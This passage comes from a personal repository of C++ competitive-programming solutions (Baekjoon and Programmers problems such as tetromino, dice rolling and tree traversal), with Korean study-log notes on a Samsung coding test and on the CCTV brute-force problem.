divide(1, 2);
printf("%d", ans);
return 0;
}<file_sep>/baekjoon/중복 빼고 정렬하기(10867).cpp
#include <iostream>
#include <set>
using namespace std;
int N;
set<int> s;
void findAns() {
int x;
for (int i = 0; i < N; i++) {
cin >> x;
s.insert(x);
}
set<int>::iterator iter;
for (iter = s.begin(); iter != s.end(); iter++) {
cout << *iter << ' ';
}
}
int main() {
ios_base::sync_with_stdio(false);
cin >> N;
findAns();
return 0;
}<file_sep>/baekjoon/거스름돈(5585).cpp
#include <iostream>
#include <vector>
#define PAY 1000
using namespace std;
int n, ans;
vector<int> v = { 500,100,50,10,5,1 };
int calc(int change, int coin) {
int cnt = change / coin;
ans += cnt;
return change - (cnt*coin);
}
int findAns(int change) {
for (int val : v) {
change = calc(change, val);
}
return ans;
}
int main() {
cin >> n;
findAns(PAY - n);
cout << ans;
return 0;
}<file_sep>/baekjoon/테트로미노(14500).cpp
#include <iostream>
#include <algorithm>
using namespace std;
int N, M, ans = -2e9;
int arr[501][501];
int range[5] = { 3,1,2,1,2 }; //긴 축의 범위
void calcMax(int sum) {
ans = ans < sum ? sum : ans;
}
void update(int type) {
int ny, nx, sum = 0;
if (type == 0) {
//가로
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
sum = 0;
nx = j + range[type];
if (nx < 0 || nx >= M) continue;
for (int k = j; k <= nx; k++) {
sum += arr[i][k];
}
calcMax(sum);
}
}
//세로
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
sum = 0;
ny = i + range[type];
if (ny < 0 || ny >= N) continue;
for (int k = i; k <= ny; k++) {
sum += arr[k][j];
}
calcMax(sum);
}
}
}
else if (type == 1) {
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
sum = 0;
ny = i + range[type];
nx = j + range[type];
if (nx < 0 || ny < 0 || nx >= M || ny >= N) continue;
sum = arr[i][j] + arr[i][nx] + arr[ny][j] + arr[ny][nx];
calcMax(sum);
}
}
}
else if (type == 2) {
//가로
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
sum = 0;
nx = j + range[type];
if (nx < 0 || nx >= M) continue;
for (int k = j; k <= nx; k++) {
sum += arr[i][k];
}
int dum = 0;
if (i - 1 >= 0) dum = max(arr[i - 1][j], arr[i - 1][nx]);
if (i + 1 < N) {
dum = max(arr[i + 1][j], dum);
dum = max(arr[i + 1][nx], dum);
}
sum += dum;
calcMax(sum);
}
}
//세로
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
sum = 0;
ny = i + range[type];
if (ny < 0 || ny >= N) continue;
for (int k = i; k <= ny; k++) {
sum += arr[k][j];
}
int dum = 0;
if (j - 1 >= 0) dum = max(arr[i][j - 1], arr[ny][j - 1]);
if (j + 1 < M) {
dum = max(arr[i][j + 1], dum);
dum = max(arr[ny][j + 1], dum);
}
sum += dum;
calcMax(sum);
}
}
}
else if (type == 3) {
//가로
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
sum = 0;
nx = j + range[type];
if (i - 1 < 0 || i + 1 >= N) continue;
for (int k = j; k <= nx; k++) {
sum += arr[i][k];
}
int first = arr[i - 1][j] + arr[i+1][j+1];
int second = arr[i + 1][j] + arr[i - 1][j + 1];
sum += max(first, second);
calcMax(sum);
}
}
//세로
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
sum = 0;
ny = i + range[type];
if (j - 1 < 0 || j + 1 >= M) continue;
for (int k = i; k <= ny; k++) {
sum += arr[k][j];
}
int first = arr[i][j-1] + arr[i + 1][j+1];
int second = arr[i + 1][j - 1] + arr[i][j + 1];
sum += max(first, second);
calcMax(sum);
}
}
}
else if (type == 4) {
//가로
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
sum = 0;
nx = j + range[type];
if (nx < 0 || nx >= M) continue;
for (int k = j; k <= nx; k++) {
sum += arr[i][k];
}
int dum = 0;
if (i - 1 >= 0) dum = arr[i - 1][j + 1];
if (i + 1 < N) dum = max(arr[i + 1][j + 1], dum);
sum += dum;
calcMax(sum);
}
}
//세로
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
sum = 0;
ny = i + range[type];
if (ny < 0 || ny >= N) continue;
for (int k = i; k <= ny; k++) {
sum += arr[k][j];
}
int dum = 0;
if (j - 1 >= 0) dum = arr[i + 1][j - 1];
if (j + 1 < M) dum = max(arr[i + 1][j + 1], dum);
sum += dum;
calcMax(sum);
}
}
}
}
int main() {
scanf("%d %d", &N, &M);
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
scanf("%d", &arr[i][j]);
}
}
//찾기
for (int type = 0; type < 5; type++) {
update(type);
}
printf("%d", ans);
return 0;
}<file_sep>/baekjoon/binaryGap.cpp
#include <iostream>
#include <string>
#include <queue>
#include <algorithm>
using namespace std;
string toBinaryString(int num) {
string s = "";
while (num != 0) {
s += to_string(num % 2);
num /= 2;
}
reverse(s.begin(), s.end());
return s;
}
int solution(int N) {
priority_queue<int> q;
vector<int> dist;
string str = toBinaryString(N);
for (int i = 0; i < str.size(); i++) {
if (str[i] == '1') dist.push_back(i);
}
if (dist.size() >= 2) {
for (int i = 0; i < dist.size() - 1; i++) {
q.push(dist[i + 1] - dist[i] - 1);
}
return q.top();
}
return 0;
}
int main() {
cout << solution(32);
return 0;
}<file_sep>/baekjoon/트리순회(1991).cpp
#include <iostream>
#include <vector>
using namespace std;
struct Node
{
int me, parent, left, right;
Node(int me, int parent, int left, int right) {
this->me = me;
this->parent = parent;
this->left = left;
this->right = right;
}
Node() {}
};
Node nodes[91];
int n;
char parent, l, r;
void initTree() {
for (int i = 'A'; i <= 'Z'; i++) {
nodes[i] = Node(i, 0, 0, 0);
}
}
void preOder(int node) {
if (nodes[node].me!=0) printf("%c", nodes[node].me);
if (nodes[node].left != 0) preOder(nodes[node].left);
if (nodes[node].right != 0) preOder(nodes[node].right);
}
void inOder(int node) {
if (nodes[node].left != 0) inOder(nodes[node].left);
if (nodes[node].me != 0) printf("%c", nodes[node].me);
if (nodes[node].right != 0) inOder(nodes[node].right);
}
void postOder(int node) {
if (nodes[node].left != 0) postOder(nodes[node].left);
if (nodes[node].right != 0) postOder(nodes[node].right);
if (nodes[node].me != 0) printf("%c", nodes[node].me);
}
int main() {
initTree();
cin >> n;
for (int i = 0; i < n; i++) {
cin >> parent >> l >> r;
if (l != '.') {
nodes[l].parent = parent;
}
if (r != '.') {
nodes[r].parent = parent;
}
nodes[parent].left = l;
nodes[parent].right = r;
}
preOder('A'); printf("\n");
inOder('A'); printf("\n");
postOder('A'); printf("\n");
return 0;
}<file_sep>/baekjoon/방 번호(1475).cpp
#include <iostream>
#include <string>
#include <vector>
#include <map>
#include <algorithm>
using namespace std;
string s;
int sn, ans;
map<char, int> cnt;
vector<int> v;
int findAns() {
for (int i = 0; i < s.size(); i++) {
if (s[i] == '6' || s[i] == '9') sn++;
else cnt[s[i]]++;
}
map<char, int> ::iterator iter;
for (iter = cnt.begin(); iter != cnt.end(); iter++) {
v.push_back(iter->second);
}
if (!v.empty()) {
sort(v.begin(), v.end());
ans += v.back();
}
if (ans*2 >= sn) {
return ans;
}
sn -= ans*2;
return ans + (sn / 2 + sn % 2);
}
int main() {
cin >> s;
cout << findAns();
return 0;
}<file_sep>/baekjoon/좋은단어(3986).cpp
#include <iostream>
#include <stack>
#include <string>
using namespace std;
int N, ans;
string word;
void findAns() {
for (int i = 0; i < N; i++) {
stack<char> st;
cin >> word;
for (char var : word) {
if (st.empty()) {
st.push(var);
continue;
}
if (st.top() == var) {
st.pop();
}
else {
st.push(var);
}
}
if (st.empty()) {
ans++;
}
}
}
int main() {
ios::sync_with_stdio(false);
cin >> N;
findAns();
cout << ans;
return 0;
}<file_sep>/TIL/2018-10-21(삼성 sw역량 테스트).md
# 삼성 sw역량 테스트(18하반기)
## 후기
딱 한문제만 통과하자는 마음으로 시험에 응했다.
1번은 보자마자 입체도형이 나와 바로 패스했음 ㅋㅋ.. 때문에 2번에 매진했다.
2번 문제는 전형적인 탐색문제로, bfs로 답을 구하는 문제이다.
지나고 보니, 그리 어려운 난이도는 아니었던 것 같다. 샘플 테스트 케이스 10개는 모두 통과 했으나,
제출하고 보니 시간초과가 난다.... '시간복잡도를 줄이지 못했나 보다' 라고 생각하던 찰나,,
삼성 sw 카카오 오픈톡방에서 누군가 맵의 정보를 담는 벡터를 배열로 바꾸니 시간초과를 해결했다고 한다.
벡터의 push,pop,clear 등 멤버함수가 생각보다 시간을 많이 잡아먹는다고 하면서....
설마하며, sw Expert Academy에 있는 이번 문제와 비슷한 유형의 '벽돌깨기' 문제를 다시 살펴 보았다. (시험문제는 공개가 안되므로..)
벽돌깨기의 경우도 컨테이너로 벡터를 사용했으며, 샘플 테스트케이스는 겨우 4개 통과하고 시간초과가 났다.
근데 여기서 놀라운 사실이!! ```로직은 그대로인 상태에서, 벡터를 배열로만 바꾸고 다시 제출해 보았다```
결과는 50개의 모든 테스트케이스 여유있게 통과..
순간, 멘탈이 부서졌다. 왜 배열을 쓰지 않았을까?
벡터는 매 테스트케이스마다 초기화 해주기 위해 해야할 작업이 많았다.
여기서 시간을 많이 소비한듯 하다. 애초에 맵 크기는 최대 50X50이었는데.. 벡터에 익숙하려고 최근에 자주 사용하다가 이 사단이 난듯하다.
또한, 벡터보다 배열이 왜 더 빠른지 그 이유에 대해서도 알고 싶어졌다.
좀전, 백준에서 시험문제가 복구되었다고 한다. 그래서 다시 직접 벡터와 배열로 각각 코딩해 보았다.
근데, 백준은 하나의 테스트케이스에 대한 코드만 작성하면 되서, 벡터를 초기화 하는 작업이 필요 없었다. 테스트케이스 수도 삼성보다 적은 듯 하다.
그래서인가? 벡터로도 그냥 통과한다. 걸린시간은 단 52ms (여기서 갑분싸)
앞으로 알고리즘은 무조건 배열을 우선적으로 쓰도록 하자
삼성 면접의 기회를 놓치다니 마음이 아프다.
## 문제
당시 문제를 생각나는대로 적어 보았다.
이차원 배열의 맵(NxN, N<=50)이 주어지고, 각 인덱스 값으로 세포의 압력 크기가 주어진다(정수값)
이때, 한 타임에 대해 현재 위치의 세포와 그와 인접한 세포들의(상하좌우) 압력차이가 L이상 R이하면 (L,R은 입력으로 주어짐) 해당 세포들은 연결이 된다.
서로 연결된 세포들은 연결된 모든 세포들의 압력값들의 평균으로 압력 크기가 바뀌게 된다.
이런 영역이 매 타임마다 갱신되며, 더 이상 모든 세포들이 연결이 안될 때(즉, L이상,R이하 조건이 모두 안맞는 경우) 까지의 걸린 시간을 출력하면 된다.
<file_sep>/baekjoon/이상한 문자 만들기.cpp
#include <iostream>
#include <string>
#include <vector>
#include <queue>
using namespace std;
vector<string> getVector(string s) {
vector<string> v;
string str = "";
for (int i = 0; i < s.size(); i++) {
if (s[i] == ' ') {
v.push_back(str);
str = "";
continue;
}
str += s[i];
}
v.push_back(str);
return v;
}
string solution(string s) {
string answer = "";
vector<string> v = getVector(s);
for (string str : v) {
for (int i = 0; i < str.size(); i++) {
if (i % 2 == 0) str[i] = toupper(str[i]);
else str[i] = tolower(str[i]);
}
answer += str + ' ';
}
answer.pop_back();
return answer;
}
int main() {
string s = "try hello world";
cout << solution(s);
return 0;
}<file_sep>/baekjoon/프로그래머스_문자열 내 마음대로 정렬하기.cpp
#include <string>
#include <vector>
#include <algorithm>
using namespace std;
int idx;
bool cmp(string &first, string &second) {
return first[idx] == second[idx] ? first < second : first[idx] < second[idx];
}
vector<string> solution(vector<string> strings, int n) {
idx = n;
sort(strings.begin(), strings.end(), cmp);
return strings;
}<file_sep>/baekjoon/연산자 끼워넣기(14888).cpp
#include <iostream>
#define PLUS 0
#define MINUS 1
#define MUL 2
#define DIV 3
using namespace std;
int N, arr[12], op[4];
int mn = 2e9, mx = -2e9;
void dfs(int idx, int result) {
if (idx == N) {
mn = mn > result ? result : mn;
mx = mx < result ? result : mx;
return;
}
for (int i = 0; i < 4; i++) {
if (op[i] == 0) continue;
if (i == PLUS) {
op[i]--;
dfs(idx + 1, result + arr[idx]);
op[i]++;
}
else if (i == MINUS) {
op[i]--;
dfs(idx + 1, result - arr[idx]);
op[i]++;
}
else if (i == MUL) {
op[i]--;
dfs(idx + 1, result * arr[idx]);
op[i]++;
}
else if (i == DIV) {
op[i]--;
dfs(idx + 1, result / arr[idx]);
op[i]++;
}
}
}
int main() {
scanf("%d", &N);
for (int i = 0; i < N; i++) {
scanf("%d", &arr[i]);
}
for (int i = 0; i < 4; i++) {
scanf("%d", &op[i]);
}
dfs(1, arr[0]);
printf("%d\n%d", mx, mn);
return 0;
}<file_sep>/baekjoon/알파벳 개수(10809).cpp
#include <iostream>
#include <map>
#include <string>
using namespace std;
string s;
map <char, int> alph;
void initMap() {
for (char c = 'a'; c <= 'z'; c++) {
alph[c] = 0;
}
}
void findAns() {
for (int i = 0; i < s.size(); i++) {
alph[s[i]]++;
}
map<char, int>::iterator iter;
for (iter = alph.begin(); iter != alph.end(); iter++) {
cout << iter->second << ' ';
}
}
int main() {
cin >> s;
initMap();
findAns();
return 0;
}<file_sep>/baekjoon/보물(1026).cpp
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int N;
vector<int> a, b;
void input() {
cin >> N;
int x;
for (int i = 0; i < N; i++) {
cin >> x;
a.push_back(x);
}
for (int i = 0; i < N; i++) {
cin >> x;
b.push_back(x);
}
}
bool desc(int x, int y) {
return x > y;
}
int findAns() {
sort(a.begin(), a.end(),desc);
sort(b.begin(), b.end());
int sum = 0;
for (int i = 0; i < N; i++) {
sum += a[i] * b[i];
}
return sum;
}
int main() {
input();
cout << findAns();
return 0;
}<file_sep>/baekjoon/프로그래머스_정수 제곱근 판별.cpp
#include <string>
#include <vector>
#include <math.h>
using namespace std;
long long solution(long long n) {
long long answer = 0;
long long v = sqrt(n);
return pow(v, 2) == n ? pow(v + 1, 2) : -1;
}<file_sep>/baekjoon/프로그래머스_오픈채팅방.cpp
#include <string>
#include <vector>
#include <iostream>
#include <unordered_map>
#define ENTER "님이 들어왔습니다."
#define LEAVE "님이 나갔습니다."
using namespace std;
vector<string> split(string &str) {
vector<string> v;
string tmp = "";
for (char c : str) {
if (c == ' ') {
v.push_back(tmp);
tmp = "";
continue;
}
tmp += c;
}
v.push_back(tmp);
return v;
}
struct Result {
string id, inOut;
Result(string id, string inOut) {
this->id = id;
this->inOut = inOut;
}
Result() {};
};
Result results[100002];
unordered_map<string, string> m;
vector<string> solution(vector<string> record) {
vector<string> answer;
vector<Result> result;
for (string str : record) {
vector<string> v = split(str);
if (v[0] == "Enter") {
m[v[1]] = v[2];
result.push_back(Result(v[1], v[0]));
}
else if (v[0] == "Leave") {
result.push_back(Result(v[1], v[0]));
}
else {
m[v[1]] = v[2];
}
}
for (Result result : result) {
if (result.inOut == "Enter") {
answer.push_back(m[result.id] + ENTER);
}
else answer.push_back(m[result.id] + LEAVE);
}
return answer;
}<file_sep>/baekjoon/도영이가 만든 맛있는 음식(2961).cpp
#include <iostream>
#include <vector>
#include <math.h>
using namespace std;
int N, x, y, ans= 2e9;
struct flavor
{
int x, y;
};
flavor arr[11];
bool used[11];
void findAns(int cnt, int idx, int mul, int sum) {
if (cnt >= 1) {
int result = abs(mul - sum);
ans = ans > result ? result : ans;
}
for (int i = idx; i <= N; i++) {
if (used[i] == false) {
used[i] = true;
findAns(cnt + 1, i, mul*arr[i].x, sum+arr[i].y);
used[i] = false;
}
}
}
int main() {
scanf("%d", &N);
for (int i = 1; i <= N; i++) {
scanf("%d %d", &x, &y);
arr[i].x = x;
arr[i].y = y;
}
findAns(0, 1, 1, 0);
printf("%d", ans);
return 0;
}<file_sep>/baekjoon/체스판 다시 칠하기(1018).cpp
#include <iostream>
#include <string.h>
#include <vector>
#define RANGE 7
#define W 'W'
#define B 'B'
using namespace std;
int N, M;
char board[51][51];
void input() {
cin >> N >> M;
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
cin >> board[i][j];
}
}
}
bool isNotRange(int y, int x) {
return y + RANGE >= N || x + RANGE >= M;
}
vector<vector<char> > cutBoard(int y, int x) {
vector<vector<char> > chess;
vector<char> e;
e.resize(8);
for (int i = 0; i < 8; i++) chess.push_back(e);
for (int i = y; i <= y + RANGE; i++) {
for (int j = x; j <= x + RANGE; j++) {
chess[i - y][j - x] = board[i][j];
}
}
return chess;
}
int calc(char first, char second, vector<vector<char> > chess) {
int cnt = 0;
for (int i = 0; i < 8; i++) {
for (int j = 0; j < 8; j++) {
if ((i + j) % 2 == 0) {
if (chess[i][j] != first) {
chess[i][j] = first;
cnt++;
}
}
else {
if (chess[i][j] != second) {
chess[i][j] = second;
cnt++;
}
}
}
}
return cnt;
}
int getChangeNum(vector<vector<char> > &chess) {
int a = calc(W, B, chess); //체스의 첫번째 색이 W이면, 첫번째를 안바꾸는 경우 || 첫번째 색이 B이면, 첫번째를 바꾸는 경우가 됨
int b = calc(B, W, chess); //체스의 첫번째 색이 B이면, 첫번째를 안바꾸는 경우 || 첫번째 색이 W이면, 첫번째를 바꾸는 경우가 됨
return a > b ? b : a;
}
int findAns() {
int ans = 2e9;
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
if (isNotRange(i, j)) continue;
vector<vector<char> > chess = cutBoard(i, j);
int change = getChangeNum(chess);
ans = change < ans ? change : ans;
}
}
return ans;
}
int main() {
ios_base::sync_with_stdio(false);
input();
cout << findAns();
return 0;
}<file_sep>/baekjoon/에라토스테네스의 체(2960).cpp
#include <iostream>
#include <map>
#include<vector>
using namespace std;
int N, K;
map<int, bool> m;
map<int, bool>::iterator iter;
vector<int> ans;
bool isPrime(int n) {
int cnt = 0;
for (int i = 2; i <= n; i++) {
if (n%i == 0) cnt++;
}
return cnt == 1;
}
void erase(int n) {
for (int i = 1; i*n <= N; i++) {
if (m[i*n] == false) {
m[i*n] = true;
ans.push_back(i*n);
}
}
}
void findAns() {
for (iter = m.begin(); iter != m.end(); iter++) {
if (isPrime(iter->first) && iter->second == false) {
erase(iter->first);
}
}
}
int main() {
cin >> N >> K;
for (int i = 2; i <= N; i++) {
m[i] = false;
}
findAns();
cout << ans[K - 1];
return 0;
}<file_sep>/baekjoon/열개씩 끊어 출력하기(11721).cpp
#include <iostream>
#include <string>
using namespace std;
string str;
int main() {
cin >> str;
for (int i = 0; i < str.size(); i++) {
if ((i +1) % 10 == 0) {
cout << str[i] << '\n';
}
else {
cout << str[i];
}
}
return 0;
}<file_sep>/baekjoon/프로그래머스_최대공약수와 최소공배수cpp.cpp
#include <string>
#include <vector>
using namespace std;
vector<int> answer;
void gcd(int n, int m) {
if (m == 0) {
answer.push_back(n);
return;
}
else gcd(m, n%m);
}
int lcm(int n, int m) {
int g = answer.front();
if (n%m == 0) return n;
return g * (n / g)*(m / g);
}
vector<int> solution(int n, int m) {
int big = 0, small = 0;
if (n >= m) {
big = n, small = m;
}
else big = m, small = n;
gcd(big, small);
answer.push_back(lcm(big, small));
return answer;
}<file_sep>/baekjoon/프로그래머스_코테2.cpp
#include <iostream>
#include <vector>
#include <queue>
#include <algorithm>
using namespace std;
priority_queue<int> q;
bool cmp(const int &a, const int &b) {
return a > b;
}
void insertQueue(vector<int> tshirts) {
for (int val : tshirts) {
q.push(val);
}
}
void initQueue() {
while (!q.empty()) {
q.pop();
}
}
void solution(vector<int> people, vector<int> tshirts) {
int ans = 0;
sort(people.begin(), people.end(), cmp);
insertQueue(tshirts);
for (int pSize : people) {
if (q.empty()) break;
if (pSize > q.top()) continue;
ans++;
q.pop();
}
printf("%d\n", ans);
initQueue();
}
int main() {
vector<int> p1 = { 2,3 };
vector<int> t1 = { 1,2,3 };
solution(p1, t1);
vector<int> p2 = { 1,2,3 };
vector<int> t2 = { 1,1 };
solution(p2, t2);
vector<int> p3 = { 4,2,2,3 };
vector<int> t3 = { 2,4,1 };
solution(p3, t3);
return 0;
}<file_sep>/TIL/2019-03-25(감시_15683).md
# [감시(15683번)](https://www.acmicpc.net/problem/15683)
## [문제](https://www.acmicpc.net/problem/15683)
## 입력
첫째 줄에 사무실의 세로 크기 N과 가로 크기 M이 주어진다. (1 ≤ N, M ≤ 8)
둘째 줄부터 N개의 줄에는 사무실 각 칸의 정보가 주어진다. 0은 빈 칸, 6은 벽, 1~5는 CCTV를 나타내고, 문제에서 설명한 CCTV의 종류이다.
CCTV의 최대 개수는 8개를 넘지 않는다.
## 풀이
브루트포스 문제이다. 모든 경우의 수를 구하고, 각 경우에 대한 결과값을 이전 결과값과 계속 비교하면서 최소값을 구하면 되는 문제이다.
이 문제의 핵심은 각 CCTV에 대해 회전정보를 담는 배열을 만드는 것이다. CCTV마다 회전하는 경우의 수가 다르고, 각 경우마다 맵을 다르게 갱신해야 하기 때문이다.
**CCTV의 회전 경우의 수**는 다음과 같다.
~~~
1번 CCTV : 4가지
2번 CCTV : 2가지
3번 CCTV : 4가지
4번 CCTV : 4가지
5번 CCTV : 1가지
~~~
따라서, CCTV번호를 인덱스로, 값은 회전 경우의 수로 정의하는 배열을 만든다.
(0번 CCTV는 없으므로 0번 인덱스는 0으로 초기화)
~~~
int direction[6] = {0,4,2,4,4,1}
~~~
시간복잡도가 **최악인 경우**를 구해보자.
1. CCTV 최대 **8**개
2. 모든 CCTV의 회전 수가 **4**가지인 경우
3. 각 회전 방향마다 CCTV체크값을 할당하는 경우 최대 **28**(7x4, 실제는 이보다 작음)
4. 하나의 CCTV를 선택하였을 때, 맵의 상태값을 백업하는 작업 N*M = **64 x 2**(2번 수행)
5. 모든 맵 갱신 후, 0의 개수 세는 2중 for문 N*M = **64**
이는, 8 x 4 x 28 x 128 x 64 = 약 730만이므로 주어진 시간내에 풀 수 있다.
CCTV는 구조체로 구현했으며, 좌표(y,x)와 type(번호)의 상태값을 가지도록 했다.
~~~
struct CCTV {
int y, x, type;
CCTV(int y, int x, int type) {
this->y = y;
this->x = x;
this->type = type;
}
CCTV() {}
};
~~~
cctv를 담는 배열을 선언하고, 재귀함수를 통해 cctv배열에서 하나의 cctv를 선택한 후, 해당 cctv의 type을 통해 방향을 결정한다. 방향이 결정되면, 해당 방향에 대해 cctv탐색을 진행하도록 한다.
~~~
for (int i = idx; i < cctvSize; i++) {
if (used[i] == false) {
int backup[9][9];
memcpy(backup, arr, sizeof(arr));
used[i] = true;
CCTV cur = cctves[i]; //현재 선택된 cctv
for (int dir = 0; dir < direction[cur.type]; dir++) { //현재 cctv의 회전 경우의 수에 대해 맵 갱신
if (cur.type == 1) {
update(cur, dir);
}
else if (cur.type == 2) {
update(cur, dir);
update(cur, (dir + 2) % 4);
}
...
}
}
}
~~~
**방향 정의 (상우하좌)**
~~~
#define UP 0
#define RIGHT 1
#define DOWN 2
#define LEFT 3
~~~
update()는 하나의 직선 방향 (cctv가 바라보는 방향 중 하나)에 대해 맵에 체크하는 함수이다.
2번 cctv인 경우는, 180도 방향 2가지이므로, dir, (dir+2)%4 가 된다. 여기서 중요한 것은 %4이다. 나머지 처리를 한 이유는, dir+a 값이 4를 초과할 경우를 처리하기 위해서다. 방향은 360도 회전이기 때문이다.
(예로 dir가 4(좌)일 때, 180도 회전한 방향은 dir+2이고, 이는 2(우)가 되야하므로 (4+2)%4를 해서 해당 값을 구할 수 있다.)
## [소스코드](https://github.com/foreverever/baekjoon/blob/master/baekjoon/%EA%B0%90%EC%8B%9C(15683)_2%EB%B2%88.cpp)
## 부족한 부분
dfs 함수마다 백업하는 이차원 배열은 dfs함수 내에서만 유효한 값이므로, 반드시 지역변수로 선언하도록 하자.
또한, cctv마다 회전정보를 담는 데이터를 따로 배열에 저장하는 생각을 쉽게 못했던 문제이다. 그러다보니, cctv마다 회전을 어떻게 적용하여 맵을 갱신할지 해결방법을 떠올리지 못했다.
좌표문제에서 특정 객체의 이동 혹은 회전방향 등이 복잡할 경우, 그 정보를 담는 컨테이너를 따로 선언하면, 문제를 해결하는데 좀 더 수월할 것 같다.
## 내일 할 일
- 알고리즘 2문제
- 이력서 준비
- 웹 공부(Spring AOP)<file_sep>/baekjoon/모음의 개수(1264).cpp
#include <iostream>
#include <string>
#include <algorithm>
#include <unordered_map>
using namespace std;
string s;
unordered_map<char, bool> vowels;
char v[5] = { 'a','e','i','o','u' };
void initVowels() {
for (char c : v) vowels[c] = true;
}
int calc(string &s) {
int cnt = 0;
for (char c : s) {
if (vowels.count(c)) cnt++;
}
return cnt;
}
void findAns() {
initVowels();
while (1) {
getline(cin, s);
if (s == "#") return;
transform(s.begin(), s.end(), s.begin(), ::tolower);
cout << calc(s) << '\n';
}
}
int main() {
findAns();
return 0;
}<file_sep>/baekjoon/주사위 굴리기(14499).cpp
#include <iostream>
#include <memory.h>
#define EAST 1
#define WEST 2
#define NORTH 3
#define SOUTH 4
using namespace std;
int N, M, y, x, K;
int arr[21][21];
int direction[1001];
int face[7], before[7];
void findAns() {
for (int i = 0; i < K; i++) {
memcpy(before, face, sizeof(face));
if (direction[i] == EAST) {
x++;
if (x >= M) {
x--;
continue;
}
face[3] = before[1];
face[6] = before[3];
face[4] = before[6];
face[1] = before[4];
}
else if (direction[i] == WEST) {
x--;
if (x < 0) {
x++;
continue;
}
face[4] = before[1];
face[6] = before[4];
face[3] = before[6];
face[1] = before[3];
}
else if (direction[i] == SOUTH) {
y++;
if (y >= N) {
y--;
continue;
}
face[1] = before[2];
face[5] = before[1];
face[6] = before[5];
face[2] = before[6];
}
else if (direction[i] == NORTH) {
y--;
if (y < 0) {
y++;
continue;
}
face[2] = before[1];
face[1] = before[5];
face[5] = before[6];
face[6] = before[2];
}
if (arr[y][x] == 0) arr[y][x] = face[6];
else {
face[6] = arr[y][x];
arr[y][x] = 0;
}
printf("%d\n", face[1]);
}
}
int main() {
scanf("%d %d %d %d %d", &N, &M, &y, &x, &K);
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
scanf("%d", &arr[i][j]);
}
}
for (int i = 0; i < K; i++) {
scanf("%d", &direction[i]);
}
findAns();
return 0;
}<file_sep>/baekjoon/sds_대탈주.cpp
#include <iostream>
#include <vector>
#include <utility>
#include <string.h>
#include <algorithm>
using namespace std;
int N, M, total;
bool check[1001];
vector <int> carColor, pass;
void input() {
cin >> N >> M;
for (int i = 0; i < M; i++) {
int x;
cin >> x;
total += x;
if (x > 0) {
for (int j = 0; j < x; j++) {
carColor.push_back(i + 1);
}
}
}
for (int i = 0; i < N; i++) {
int x;
cin >> x;
pass.push_back(x);
}
}
int findAns() {
int cnt = 0;
for (int i = 0; i <= N - total; i++) {
//도난차량 개수만큼 그룹지어
for (int j = i; j < i + total; j++) {
//도난차량에 대해
for (int k = 0; k < carColor.size(); k++) {
if (pass[j] == carColor[k] && check[k] == false) {
cnt++;
check[k] = true;
break;
}
}
}
if (cnt == total) return (i + 1);
cnt = 0;
memset(check, false, sizeof(check));
}
return 0;
}
int main() {
int tc;
cin >> tc;
for (int t = 1; t <= tc; t++) {
input();
cout << '#' << t << ' ' << findAns() << '\n';
carColor.clear();
pass.clear();
total = 0;
}
return 0;
}<file_sep>/baekjoon/N과 M (4) (15652).cpp
#include <iostream>
#include <vector>
using namespace std;
int N, M;
vector<int> v;
void dfs(int cnt) {
if (cnt == M) {
for (int val : v) cout << val << ' ';
cout << '\n';
return;
}
for (int cur = 1; cur <= N; cur++) {
if (v.empty() || v.back() <= cur) {
v.push_back(cur);
dfs(cnt + 1);
v.pop_back();
}
}
}
void findAns() {
dfs(0);
}
int main() {
cin >> N >> M;
findAns();
return 0;
}<file_sep>/baekjoon/매일프로그래밍_문제11.cpp
//길이가 같은 두 문자열(string) A 와 B가 주어지면, A 가 B 로 1:1 암호화 가능한지 찾으시오.
//Given two strings of equal length, check if two strings can be encrypted 1 to 1.
//
//예제)
//Input: “EGG”, “FOO”
//Output : True // E->F, G->O
//
//Input : “ABBCD”, “APPLE”
//Output : True // A->A, B->P, C->L, D->E
//
//Input : “AAB”, “FOO”
//Output : False
#include <iostream>
#include <string>
#include <map>
#define TRUE "true"
#define FALSE "false"
using namespace std;
string first, second;
map<char, char> m;
void initMap() {
for (int i = 0; i < first.size(); i++) m[first[i]] = second[i];
}
string findAns() {
initMap();
for (int i = 0; i < first.size(); i++) {
if (m[first[i]] != second[i]) return FALSE;
}
return TRUE;
}
int main() {
cin >> first >> second;
cout << findAns();
return 0;
}<file_sep>/baekjoon/점수 계산(2822).cpp
#include <iostream>
#include <algorithm>
#include <vector>
#include <utility>
using namespace std;
vector<pair<int, int> > v;
vector<int> num;
int sum;
bool cmp(pair<int, int> &p1, pair<int, int> &p2) {
return p1.second > p2.second;
}
void findAns() {
int x;
for (int i = 0; i < 8; i++) {
cin >> x;
v.push_back({ i + 1,x });
}
sort(v.begin(), v.end(), cmp);
for (int i = 0; i < 5; i++) {
sum += v[i].second;
num.push_back(v[i].first);
}
sort(num.begin(), num.end());
}
void output() {
cout << sum << '\n';
for (int val : num) {
cout << val << ' ';
}
}
int main() {
findAns();
output();
return 0;
}<file_sep>/baekjoon/수 고르기(2230).cpp
#include <iostream>
#include <algorithm>
using namespace std;
int M, N, ans= 2e9+1;
int arr[100001];
int findAns() {
int s = 0, e = 1;
while (s < N) {
if (arr[e] - arr[s] < M) {
e++;
continue;
}
if (arr[e] - arr[s] == M) {
return M;
}
ans = min(ans, arr[e] - arr[s]);
s++;
}
return ans;
}
int main() {
scanf("%d %d", &N, &M);
for (int i = 0; i < N; i++) {
scanf("%d", &arr[i]);
}
sort(arr, arr + N);
printf("%d", findAns());
return 0;
}<file_sep>/baekjoon/이게 분수(2863).cpp
#include <iostream>
using namespace std;
int arr[2][2];
void input() {
for (int i = 0; i < 2; i++) {
for (int j = 0; j < 2; j++) {
cin >> arr[i][j];
}
}
}
void rotation() {
int tmp = arr[0][0];
arr[0][0] = arr[1][0];
